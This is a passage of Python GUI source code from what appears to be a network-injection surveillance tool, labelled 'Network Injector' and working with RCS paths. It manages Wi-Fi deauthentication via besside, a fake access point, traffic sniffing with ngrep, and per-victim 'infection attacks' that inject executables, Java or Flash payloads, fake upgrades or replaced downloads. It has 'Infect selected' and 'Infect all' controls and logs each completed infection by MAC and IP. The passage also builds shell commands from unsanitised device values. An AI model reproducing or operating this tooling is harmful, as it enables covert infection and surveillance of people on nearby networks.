           for line in open('/opt/td-config/run/besside/fclients').readlines():
              flag, mac = line.split()
	      
	      if self.reauth_status == True:
                  try:
                      ret1 = subprocess.check_output("grep -i '{}' /opt/td-config/run/besside/match".format(mac), shell=True).strip()
                      if len(ret1) == 0:
                          subprocess.call("echo '{}' >> /opt/td-config/run/besside/match".format(mac), shell=True)
                  except:
                      subprocess.call("echo '{}' >> /opt/td-config/run/besside/match".format(mac), shell=True)
        
	      if self.infect_status == True:
                  try:
                      ret2 = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/match".format(mac), shell=True).strip()
                      if len(ret2) == 0:
                          subprocess.call("echo '{}' >> /opt/td-config/run/rcs/match".format(mac), shell=True)
                  except:
                      subprocess.call("echo '{}' >> /opt/td-config/run/rcs/match".format(mac), shell=True)

              if not len(subprocess.check_output("ifconfig -a | grep -i '{}'; true".format(mac), shell=True).strip()) == 0: continue
	      vendor = None
              vendor = subprocess.check_output("grep -i '{}' /opt/td-config/manuf/manuf | awk '{{print $2}}'".format(mac[:8]), shell=True).strip()
	      ip = subprocess.check_output("grep -i '{}' /opt/td-config/run/names/fnames | awk '{{print $2}}'".format(mac), shell=True).strip()
	      if len(ip) == 0:
		 ip = subprocess.check_output("grep -i '{}' /opt/td-config/run/besside/fclients2 | awk '{{print $2}}'".format(mac), shell=True).strip()
		 if len(ip) == 0:
		     try:
		         open('/opt/td-config/run/ngrep/match', 'w').close()
		         ip = subprocess.check_output("grep -i '{}' /opt/td-config/run/ngrep/match | awk '{{print $2}}'".format(mac), shell=True).strip()
		     except:
			 pass

	      details = None
              details = subprocess.check_output("grep -i '{}' /opt/td-config/run/names/fnames | awk '{{print $3}}'".format(mac), shell=True).strip()
              if len(vendor) == 0: vendor = 'Unknown'
	      if len(details) == 0: details = None

	      icon_theme = Gtk.IconTheme.get_default()

              if flag == 'H':
		 try:
		     ret3 = subprocess.check_output("grep -i '{}' /opt/td-config/run/besside/match".format(mac), shell=True).strip()
		     if len(ret3) == 0:
			 if len(ip) == 0:
                             flag = icon_theme.load_icon('gtk-close', 20, 0)
			 else:
			     try:
                  	         ret2 = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/match".format(mac), shell=True).strip()
                                 if len(ret2) == 0:
                                     flag = icon_theme.load_icon('gtk-apply', 20, 0)
                                 else:
                                     flag = icon_theme.load_icon('gtk-go-back-rtl', 20, 0)
                             except:
			         flag = icon_theme.load_icon('gtk-apply', 20, 0)
		     else:
			 if len(ip) == 0:
			     flag = icon_theme.load_icon('gtk-refresh', 20, 0)
			 else:
			     try:
                                 ret2 = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/match".format(mac), shell=True).strip()
                                 if len(ret2) == 0:
                                     flag = icon_theme.load_icon('gtk-apply', 20, 0)
                                 else:
                                     flag = icon_theme.load_icon('gtk-go-back-rtl', 20, 0)
                             except:
                                 flag = icon_theme.load_icon('gtk-apply', 20, 0)
		 except:
		     if len(ip) == 0:
		         flag = icon_theme.load_icon('gtk-close', 20, 0)
		     else:
			 try:
                             ret2 = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/match".format(mac), shell=True).strip()
                             if len(ret2) == 0:
                                 flag = icon_theme.load_icon('gtk-apply', 20, 0)
                             else:
                                 flag = icon_theme.load_icon('gtk-go-back-rtl', 20, 0)
                         except:
                             flag = icon_theme.load_icon('gtk-apply', 20, 0)

              else:
	          try:
                      ret2 = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/match".format(mac), shell=True).strip()
                      if len(ret2) == 0:
                          flag = icon_theme.load_icon('gtk-apply', 20, 0)
                      else:
                          flag = icon_theme.load_icon('gtk-go-back-rtl', 20, 0)
                  except:
                      flag = icon_theme.load_icon('gtk-apply', 20, 0)

	      if self.ngrep_started == True:
	      	 try:
		    ret = subprocess.check_output("grep -i '{}' /opt/td-config/run/ngrep/match".format(mac), shell=True).strip()
		    if len(ret) == 0:
		    	nfilter = None 
		    else:
		    	nfilter = icon_theme.load_icon('gtk-apply', 20, 0)
		 except:
		    nfilter = None 
	      else:
              	 nfilter = None 

	      try:
                  ret = subprocess.check_output("grep -i '{}' /opt/td-config/run/links/linfo 2> /dev/null".format(mac), shell=True).strip()
                  if len(ret) == 0:
                      opsi = None
                      brow = None
		      lsite = None
		      ltime = None
                  else:
                      index1 = string.find(ret, "!") + 1
                      opsi = ret[index1:len(ret)]
                      index2 = string.find(opsi, "!")
                      opsi = opsi[0:index2]

		      index1 = string.find(ret, "!") + 1
                      brow = ret[index1:len(ret)]
                      index2 = string.find(brow, "!") + 1
                      brow = brow[index2:len(brow)]
                      index3 = string.find(brow, "!")
                      brow = brow[0:index3]

		      index1 = string.find(ret, "!") + 1
		      lsite = ret[index1:len(ret)]
		      index2 = string.find(lsite, "!") + 1
		      lsite = lsite[index2:len(lsite)]
		      index3 = string.find(lsite, "!") + 1
		      lsite = lsite[index3:len(lsite)]
		      index4 = string.find(lsite, "!")
		      lsite = lsite[0:index4]

		      index1 = string.find(ret, "!") + 1
		      ltime = ret[index1:len(ret)]
		      index2 = string.find(ltime, "!") + 1
		      ltime = ltime[index2:len(ltime)]
		      index3 = string.find(ltime, "!") + 1
		      ltime = ltime[index3:len(ltime)]
           	      index4 = string.find(ltime, "!") + 1
		      ltime = ltime[index4:len(ltime)]
              except:
                  opsi = None
                  brow = None
		  lsite = None
		  ltime = None

	      if ltime != None:
	          if self.mydifftime(ltime) > 4:
		      lsite = "<i>Idle</i>"

	      if lsite == None:
	          lsite = "<i>Idle</i>"

	      lattack = None
	      if len(ip) != 0:
	          try:
	              ret = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/infect 2> /dev/null".format(ip), shell=True).strip()
		      if len(ret) == 0:
		          lattack = None
		      else:
		          if ret[0] == 'E':
		              lattack = 'Inject Exe'
		          elif ret[0] == 'J':
			      lattack = 'Inject Html Java'
			  elif ret[0] == 'F':
			      lattack = 'Inject Html Flash'
			  elif ret[0] == 'H':
			      lattack = 'Inject Html File'
		          elif ret[0] == 'U':
			      lattack = 'Inject Upgrade'
		          elif ret[0] == 'R':
			      lattack = 'Replace'
		          else:
			      lattack = None

			  returl = ret[2:len(ret)]
			  index1 = string.find(returl, " ")
			  returl = returl[index1 + 1:len(returl)]

			  if lattack != None and os.path.exists('/opt/td-config/run/rcs/infect.tmp2') == True:
			      try:
			          retdiff = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/infect.tmp2 2> /dev/null".format(ip), shell=True).strip()
				  if len(retdiff) == 0:
				      retdiff = " "
				      pass
			      except:
				  retdiff = " "
				  pass

			      returl2 = retdiff[2:len(retdiff)]
			      index2 = string.find(returl2, " ")
			      returl2 = returl2[index2 + 1:len(returl2)]

			      if returl != returl2:
			          if ret[0] == 'E':
			              subprocess.call('echo "{} Inject Exe infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
			          elif ret[0] == 'J':
			              subprocess.call('echo "{} Inject Html Java infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
				  elif ret[0] == 'F':
				      subprocess.call('echo "{} Inject Html Flash infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
				  elif ret[0] == 'H':
				      subprocess.call('echo "{} Inject Html File infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
			          elif ret[0] == 'U':
			              subprocess.call('echo "{} Inject Upgrade infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
			          elif ret[0] == 'R':
			              subprocess.call('echo "{} Replace infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)

				  subprocess.call("cp /opt/td-config/run/rcs/infect /opt/td-config/run/rcs/infect.tmp2", shell=True)
			  elif lattack != None and os.path.exists('/opt/td-config/run/rcs/infect.tmp2') == False:
			      if ret[0] == 'E':
                                  subprocess.call('echo "{} Inject Exe infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
                              elif ret[0] == 'J':
                                  subprocess.call('echo "{} Inject Html Java infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
			      elif ret[0] == 'F':
                                  subprocess.call('echo "{} Inject Html Flash infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
			      elif ret[0] == 'H':
				  subprocess.call('echo "{} Inject Html File infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
                              elif ret[0] == 'U':
                                  subprocess.call('echo "{} Inject Upgrade infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
                              elif ret[0] == 'R':
                                  subprocess.call('echo "{} Replace infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)

			      subprocess.call("cp /opt/td-config/run/rcs/infect /opt/td-config/run/rcs/infect.tmp2", shell=True)
	          except:
	              lattack = None

	      if self.ngrep_started == True:
                  if nfilter != None:
		      if self.started == True:
                          state = 0
                      	  miter = self.builder.get_object("liststore1").get_iter_first()
                      	  while miter != None and self.listclear == False:
                              if self.builder.get_object("liststore1").get_value(miter, 1) == mac:
                                  state = 1
			    	  self.listclientsrefresh(miter, flag, mac, ip, vendor, details, opsi, brow, lsite, lattack)
                              miter = self.builder.get_object("liststore1").iter_next(miter)

                          if state == 0:
                              self.do_gui(self.builder.get_object("liststore1").append, [flag, mac, ip, vendor, details, opsi, brow, lsite, None])
              else:
		  if self.started == True:
                      state = 0
                      miter = self.builder.get_object("liststore1").get_iter_first()
                      while miter != None and self.listclear == False:
                          if self.builder.get_object("liststore1").get_value(miter, 1) == mac:
                              state = 1
			      self.listclientsrefresh(miter, flag, mac, ip, vendor, details, opsi, brow, lsite, lattack)
                          miter = self.builder.get_object("liststore1").iter_next(miter)

                      if state == 0:
                          self.do_gui(self.builder.get_object("liststore1").append, [flag, mac, ip, vendor, details, opsi, brow, lsite, None])
        else:
           for line in open('/opt/td-config/run/besside/fclients').readlines():
              mac, ip = line.split()

	      if self.infect_status == True:
                  try:
                      ret1 = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/match".format(mac), shell=True).strip()
                      if len(ret1) == 0:
                          subprocess.call("echo '{}' >> /opt/td-config/run/rcs/match".format(mac), shell=True)
                  except:
                      subprocess.call("echo '{}' >> /opt/td-config/run/rcs/match".format(mac), shell=True)

              if not len(subprocess.check_output("ifconfig -a | grep -i '{}'; true".format(mac), shell=True).strip()) == 0: continue
	      vendor = None
	      details = None
              vendor = subprocess.check_output("grep -i '{}' /opt/td-config/manuf/manuf | awk '{{print $2}}'".format(mac[:8]), shell=True).strip()
              details = subprocess.check_output("grep -i '{}' /opt/td-config/run/names/fnames | awk '{{print $3}}'".format(mac), shell=True).strip()
              if len(vendor) == 0: vendor = 'Unknown'
	      if len(details) == 0: details = None

	      icon_theme = Gtk.IconTheme.get_default()

	      try:
                  ret2 = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/match".format(mac), shell=True).strip()
                  if len(ret2) == 0:
                      flag = icon_theme.load_icon('gtk-apply', 20, 0)
                  else:
                      flag = icon_theme.load_icon('gtk-go-back-rtl', 20, 0)
              except:
                  flag = icon_theme.load_icon('gtk-apply', 20, 0)

	      if self.ngrep_started == True:
		try:
                    ret = subprocess.check_output("grep -i '{}' /opt/td-config/run/ngrep/match".format(mac), shell=True).strip()
                    if len(ret) == 0:
                    	nfilter = None 
                    else:
                    	nfilter = icon_theme.load_icon('gtk-apply', 20, 0)
		except:
		    nfilter = None 
              else:
                nfilter = None

	      try:
		  ret = subprocess.check_output("grep -i '{}' /opt/td-config/run/links/linfo 2> /dev/null".format(mac), shell=True).strip()
		  if len(ret) == 0:
		      opsi = None
		      brow = None
		      lsite = None
		      ltime = None
		  else:
		      index1 = string.find(ret, "!") + 1
		      opsi = ret[index1:len(ret)]
		      index2 = string.find(opsi, "!")
		      opsi = opsi[0:index2]

		      index1 = string.find(ret, "!") + 1
		      brow = ret[index1:len(ret)]
		      index2 = string.find(brow, "!") + 1
		      brow = brow[index2:len(brow)]
		      index3 = string.find(brow, "!")
		      brow = brow[0:index3]

		      index1 = string.find(ret, "!") + 1
                      lsite = ret[index1:len(ret)]
                      index2 = string.find(lsite, "!") + 1
                      lsite = lsite[index2:len(lsite)]
                      index3 = string.find(lsite, "!") + 1
                      lsite = lsite[index3:len(lsite)]
                      index4 = string.find(lsite, "!")
                      lsite = lsite[0:index4]

                      index1 = string.find(ret, "!") + 1
                      ltime = ret[index1:len(ret)]
                      index2 = string.find(ltime, "!") + 1
                      ltime = ltime[index2:len(ltime)]
                      index3 = string.find(ltime, "!") + 1
                      ltime = ltime[index3:len(ltime)]
                      index4 = string.find(ltime, "!") + 1
                      ltime = ltime[index4:len(ltime)]
	      except:
		  opsi = None
		  brow = None
		  lsite = None
		  ltime = None

              if ltime != None:
                  if self.mydifftime(ltime) > 4:
                      lsite = "<i>Idle</i>"
		  
	      if lsite == None:
                  lsite = "<i>Idle</i>"

	      lattack = None
	      if len(ip) != 0:
                  try:
                      ret = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/infect 2> /dev/null".format(ip), shell=True).strip()
                      if len(ret) == 0:
                          lattack = None
                      else:
		          if ret[0] == 'E':
                              lattack = 'Inject Exe'
                          elif ret[0] == 'J':
                              lattack = 'Inject Html Java'
			  elif ret[0] == 'F':
			      lattack = 'Inject Html Flash'
			  elif ret[0] == 'H':
			      lattack = 'Inject Html File'
                          elif ret[0] == 'U':
                              lattack = 'Inject Upgrade'
                          elif ret[0] == 'R':
                              lattack = 'Replace'
                          else:
                              lattack = None

			  returl = ret[2:len(ret)]
                          index1 = string.find(returl, " ")
                          returl = returl[index1 + 1:len(returl)]

			  if lattack != None and os.path.exists('/opt/td-config/run/rcs/infect.tmp2') == True:
			      try:
                                  retdiff = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/infect.tmp2 2> /dev/null".format(ip), shell=True).strip()
				  if len(retdiff) == 0:
				      retdiff = " "
				      pass
                              except:
				  retdiff = " "
				  pass

			      returl2 = retdiff[2:len(retdiff)]
                              index2 = string.find(returl2, " ")
                              returl2 = returl2[index2 + 1:len(returl2)]
 
                              if returl != returl2:
                                  if ret[0] == 'E':
                                      subprocess.call('echo "{} Inject Exe infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
                                  elif ret[0] == 'J':
                                      subprocess.call('echo "{} Inject Html Java infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
				  elif ret[0] == 'F':
                                      subprocess.call('echo "{} Inject Html Flash infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
                                  elif ret[0] == 'H':
				      subprocess.call('echo "{} Inject Html File infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
				  elif ret[0] == 'U':
                                      subprocess.call('echo "{} Inject Upgrade infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
                                  elif ret[0] == 'R':
                                      subprocess.call('echo "{} Replace infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)

				  subprocess.call("cp /opt/td-config/run/rcs/infect /opt/td-config/run/rcs/infect.tmp2", shell=True)
                  	  elif lattack != None and os.path.exists('/opt/td-config/run/rcs/infect.tmp2') == False:
			      if ret[0] == 'E':
                                  subprocess.call('echo "{} Inject Exe infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
                              elif ret[0] == 'J':
                                  subprocess.call('echo "{} Inject Html Java infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
			      elif ret[0] == 'F':
                                  subprocess.call('echo "{} Inject Html Flash infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
                              elif ret[0] == 'H':
				  subprocess.call('echo "{} Inject Html File infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
			      elif ret[0] == 'U':
                                  subprocess.call('echo "{} Inject Upgrade infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)
                              elif ret[0] == 'R':
                                  subprocess.call('echo "{} Replace infection attack completed on this target: {} {} on this resource: {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, ip, returl), shell=True)

                              subprocess.call("cp /opt/td-config/run/rcs/infect /opt/td-config/run/rcs/infect.tmp2", shell=True)
                  except:
                      lattack = None

	      if self.ngrep_started == True:
	          if nfilter != None:
		      if self.started == True:
		          state = 0
                          miter = self.builder.get_object("liststore1").get_iter_first()
                          while miter != None and self.listclear == False:
                              if self.builder.get_object("liststore1").get_value(miter, 1) == mac:
                                  state = 1
				  self.listclientsrefresh(miter, flag, mac, ip, vendor, details, opsi, brow, lsite, lattack)
                              miter = self.builder.get_object("liststore1").iter_next(miter)

                          if state == 0:
                              self.do_gui(self.builder.get_object("liststore1").append, [flag, mac, ip, vendor, details, opsi, brow, lsite, None])
	      else:
		  if self.started == True:
	              state = 0
                      miter = self.builder.get_object("liststore1").get_iter_first()
                      while miter != None and self.listclear == False:
                          if self.builder.get_object("liststore1").get_value(miter, 1) == mac:
                              state = 1
			      self.listclientsrefresh(miter, flag, mac, ip, vendor, details, opsi, brow, lsite, lattack)
                          miter = self.builder.get_object("liststore1").iter_next(miter)

                      if state == 0:
                          self.do_gui(self.builder.get_object("liststore1").append, [flag, mac, ip, vendor, details, opsi, brow, lsite, None])

	if self.clearselect == False:
	    if self.myrows != None:
            	for rowpath in self.myrows:
		    if self.deinfect_status == True:
                        self.do_gui(self.builder.get_object("button3").set_label, 'Reauth selected')
			try:
			    for line in open("/opt/td-config/share/redirect_tactical.txt").readlines():
		                line = line[0:len(line) - 1]
            		        if line == 'ALL' or line == 'All' or line == 'all':
				    self.do_gui(self.builder.get_object("button5").set_label, 'Clear all')
			        else:
	                            self.do_gui(self.builder.get_object("button5").set_label, 'Clear')
			        break
			except:
			    self.do_gui(self.builder.get_object("button5").set_label, 'Infect selected')
		    else:
		        self.do_gui(self.builder.get_object("button3").set_label, 'Reauth selected')
	                self.do_gui(self.builder.get_object("button5").set_label, 'Infect selected')
	else:
	    self.clearselect = False
	    self.do_gui(self.builder.get_object("treeview-selection1").unselect_all)
	    self.do_gui(self.builder.get_object("button3").set_label, 'Reauth all')
	    self.do_gui(self.builder.get_object("button5").set_label, 'Infect all')
	    
	self.ni_lock.release()

        return True

    def listclientsrefresh(self, miter, flag, mac, ip, vendor, details, opsi, brow, lsite, lattack):
	index = [0, 1, 2, 3, 4, 5, 6, 7, 8]
	val = []

	val.append(flag)

	if mac == None:
	    val.append("")
	else:
	    val.append(mac)

	if ip == None:
	    val.append("")
	else:
	    val.append(ip)

	if vendor == None:
	    val.append("")
	else:
	    val.append(vendor)

	if details == None:
	    val.append("")
	else:
	    val.append(details)

	if opsi == None:
	    val.append("")
	else:
	    val.append(opsi)

	if brow == None:
	    val.append("")
	else:
	    val.append(brow)

	if lsite == None:
	    val.append("")
	else:
	    val.append(lsite)

	if lattack == None:
	    val.append("")
	else:
	    val.append(lattack)

        self.do_gui(self.builder.get_object("liststore1").set, miter, index, val)

    def listclients2(self, *args):
	if self.started_exit2 == True:
            return False 

	if self.fakeap_started != True:
	    return False 

	if os.path.exists('/opt/td-config/run/airbase') == False:
	    f = open('/opt/td-config/run/airbase', 'w')
	    f.close()

        for line in open('/opt/td-config/run/airbase').readlines():
	    if self.started_exit2 == True:
	        return False 

	    if self.fakeap_started == True:
		index = string.find(line, " ")
                mac = line[0:index]
                essid = line[index + 1:len(line) - 1]
                if essid == None or essid == "":
                    essid = 'Unknown'

		state = 0
                miter = self.builder.get_object("liststore2").get_iter_first()
                while miter != None and self.started_exit2 == False and self.fakeap_started == True:
                    if self.builder.get_object("liststore2").get_value(miter, 0) == mac and self.builder.get_object("liststore2").get_value(miter, 1) == essid:
                        state = 1

                        if mac == None:
                            self.do_gui(self.builder.get_object("liststore2").set, miter, 0, "")
                        else:
                            self.do_gui(self.builder.get_object("liststore2").set, miter, 0, mac)

                        if essid == None:
                            self.do_gui(self.builder.get_object("liststore2").set, miter, 1, "")
                        else:
                            self.do_gui(self.builder.get_object("liststore2").set, miter, 1, essid)

                    miter = self.builder.get_object("liststore2").iter_next(miter)

                if state == 0 and self.started_exit2 == False and self.fakeap_started == True:
                    self.do_gui(self.builder.get_object("liststore2").prepend, [mac, essid])

	return True

    def refresh(self, *args):
	if self.started_newconf == True:
	    return

	if self.fakeap_started == False:
	    subprocess.call("iptables -F", shell=True)
            subprocess.call("iptables -t nat -F", shell=True)

        subprocess.call('echo "# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)" > /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN" >> /etc/resolv.conf', shell=True)
	subprocess.call('echo "#" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     IF YOU WANT EDITING THIS FILE, PLEASE EDIT /var/run/dnsmasq/resolv.conf FILE" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "nameserver 127.0.0.1" >> /etc/resolv.conf', shell=True)

        if os.path.exists('/var/run/dnsmasq/resolv.conf') == False:
            subprocess.call("echo 'nameserver 8.8.8.8' > /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 8.8.4.4' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.222.222' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.220.220' >> /var/run/dnsmasq/resolv.conf", shell=True)
        else:
            try:
                subprocess.check_output("grep -i 'nameserver 8.8.8.8' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.8.8" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 8.8.4.4' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.4.4" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.222.222' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.222.222" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.220.220' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.220.220" >> /var/run/dnsmasq/resolv.conf', shell=True)

	self.builder.get_object("comboboxtext1").remove_all()

        count = 0

        self.ifacelist = self.getinterfacelist()
        for iface, value in self.ifacelist.items():
           if not value['connected']: continue
           if self.modem3g == True:
               entry = iface + ' (' + ('Cable connected) + 3G modem (Connected to ' + self.modem3gconf['profile'] if value['type'] == 'wired' else 'Connected to ' + value['conninfo']['essid'] + ') + 3G modem (Connected to ' + self.modem3gconf['profile']) + ')'
           else:
               entry = iface + ' (' + ('Cable connected' if value['type'] == 'wired' else 'Connected to ' + value['conninfo']['essid']) + ')'

	   count = count + 1
           self.builder.get_object("comboboxtext1").prepend_text(entry)

	if self.fakeap_started == True:
	   if self.modem3g == True:
	       entry = self.wirelessiface + " (Fake Access Point) + 3G modem (Connected to " + self.modem3gconf['profile'] + ")"
	   else:
               entry = self.wirelessiface + " (Fake Access Point)"

           self.builder.get_object("comboboxtext1").prepend_text(entry)
           count += 1

        self.builder.get_object("comboboxtext1").set_active(0)

	if count == 0:
            self.builder.get_object("comboboxtext2").remove_all()
            self.builder.get_object("comboboxtext1").set_sensitive(False)
            self.builder.get_object("comboboxtext2").set_sensitive(False)
            self.builder.get_object("button1").set_sensitive(False)
	    self.builder.get_object("button21").set_sensitive(False)
	    self.builder.get_object("button2").set_sensitive(True)
	    self.builder.get_object("label22").set_sensitive(False)
            self.builder.get_object("label23").set_sensitive(False)
	else:
	    self.builder.get_object("comboboxtext1").set_sensitive(True)
            self.builder.get_object("comboboxtext2").set_sensitive(True)
            self.builder.get_object("button1").set_sensitive(True)
	    self.builder.get_object("button21").set_sensitive(True)
	    self.builder.get_object("button2").set_sensitive(True)
	    self.builder.get_object("label22").set_sensitive(True)
            self.builder.get_object("label23").set_sensitive(True)

	if self.builder.get_object("comboboxtext1").get_active_text() == None:
	    self.builder.get_object("button21").set_sensitive(False)
	else:
            self.builder.get_object("button21").set_sensitive(True)

	    if string.find(self.builder.get_object("comboboxtext1").get_active_text(), "Fake Access Point") != -1 and self.fakeap_started == True:
                self.builder.get_object("comboboxtext2").set_sensitive(False)

    def refresh2(self, *args):
        if self.started_newconf == True:
            return

        subprocess.call('echo "# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)" > /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN" >> /etc/resolv.conf', shell=True)
	subprocess.call('echo "#" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     IF YOU WANT EDITING THIS FILE, PLEASE EDIT /var/run/dnsmasq/resolv.conf FILE" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "nameserver 127.0.0.1" >> /etc/resolv.conf', shell=True)

        if os.path.exists('/var/run/dnsmasq/resolv.conf') == False:
            subprocess.call("echo 'nameserver 8.8.8.8' > /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 8.8.4.4' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.222.222' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.220.220' >> /var/run/dnsmasq/resolv.conf", shell=True)
        else:
            try:
                subprocess.check_output("grep -i 'nameserver 8.8.8.8' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.8.8" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 8.8.4.4' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.4.4" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.222.222' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.222.222" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.220.220' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.220.220" >> /var/run/dnsmasq/resolv.conf', shell=True)

        self.builder.get_object("comboboxtext8").remove_all()

        count = 0
 
	self.ifacelist = self.getinterfacelist()
        for iface, value in self.ifacelist.items():
           if not value['connected']: continue
	   if value['type'] != 'wired':
	       continue

           entry = iface + ' (' + ('Cable connected' if value['type'] == 'wired' else 'Connected to ' + value['conninfo']['essid'] + ') + 3G modem (Connected to ' + self.modem3gconf['profile'] if self.modem3g == True else 'Connected to ' + value['conninfo']['essid']) + ')'
	   count = count + 1
           self.builder.get_object("comboboxtext8").prepend_text(entry)

        self.builder.get_object("comboboxtext8").set_active(0)

	self.builder.get_object("entry3").set_text("")

	if count == 0:
	    self.builder.get_object("comboboxtext9").remove_all()
            self.builder.get_object("comboboxtext8").set_sensitive(False)
            self.builder.get_object("comboboxtext9").set_sensitive(False)
            self.builder.get_object("checkbutton1").set_sensitive(False)
            self.builder.get_object("button18").set_sensitive(False)
	    self.builder.get_object("button23").set_sensitive(False)
	    self.builder.get_object("entry3").set_sensitive(False)
	else:
	    self.builder.get_object("comboboxtext8").set_sensitive(True)
            self.builder.get_object("comboboxtext9").set_sensitive(True)
            self.builder.get_object("checkbutton1").set_sensitive(True)
            self.builder.get_object("button18").set_sensitive(True)
	    self.builder.get_object("button23").set_sensitive(True)
	    self.builder.get_object("entry3").set_sensitive(True)

	    try:
                f = open('/opt/td-config/share/redirect_fqdn.txt', 'r')
                proxy_ipaddr = f.read()
                f.close()
                proxy_ipaddr = proxy_ipaddr[11:-1]
                self.builder.get_object("entry3").set_text(proxy_ipaddr)
            except:
                pass

